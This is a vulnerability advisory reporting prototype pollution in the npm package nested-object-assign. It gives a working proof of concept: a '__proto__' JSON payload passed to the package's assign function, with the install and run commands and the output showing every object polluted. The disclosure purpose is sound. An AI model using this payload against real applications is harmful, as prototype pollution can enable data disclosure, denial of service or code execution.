Lucene search

K
huntrArjunshibu1-NPM-NESTED-OBJECT-ASSIGN
HistoryJan 28, 2021 - 12:00 a.m.

Prototype Pollution in geta/nestedobjectassign

2021-01-2800:00:00
arjunshibu
www.huntr.dev
9
nested-object-assign
prototype pollution
vulnerability
information disclosure
dos
rce
npm package

EPSS

0.001

Percentile

41.8%

Description

nested-object-assign is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const assign = require('nested-object-assign')

console.log('Before: ' + {}.polluted)
assign({}, JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ' + {}.polluted)
  1. Execute the following commands in the terminal:
npm i nested-object-assign # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.

EPSS

0.001

Percentile

41.8%

Related for 1-NPM-NESTED-OBJECT-ASSIGN